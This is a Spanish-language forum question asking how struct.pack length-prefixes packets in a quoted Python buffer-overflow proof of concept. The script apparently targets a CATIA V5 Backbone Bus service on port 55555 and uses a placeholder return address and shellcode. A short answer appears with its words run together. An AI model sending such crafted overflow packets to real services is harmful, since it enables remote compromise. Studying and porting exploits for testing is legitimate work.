¿Alguien puede explicar cómo y por qué este código struct.pack
se usa en el siguiente exploit? Estoy tratando de entender cómo desencadena la vulnerabilidad. Entiendo el aspecto de desbordamiento de búfer, me refiero al método struct.pack
a continuación. Yo también soy un tipo de rubí, e hice algunos descubrimientos preliminares en el código sruct.pack
a continuación, pero todavía no entiendo cómo desencadena la vulnerabilidad y por qué es necesario. Estoy en el proceso de trasladar el sploit a un módulo msf, y en este punto he verificado que el exploit funciona, pero no entiendo cómo funciona.
s.send(struct.pack('>I',len(buff)))structwrites/readsbinarydata.packreturnsstringcontainingvalues'>I',len,buff...packedaccordingtogivenformat.>representsbigendianbytealignment(standardsizenoalignment)Iformatcharacter=integerpythontype(4bytepackedvalue)len=bufferlength
Ref:
#!/usr/bin/env python
import socket
import struct
import ctypes
RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell
s.send(struct.pack('>I',len(buff) ))
s.send(buff)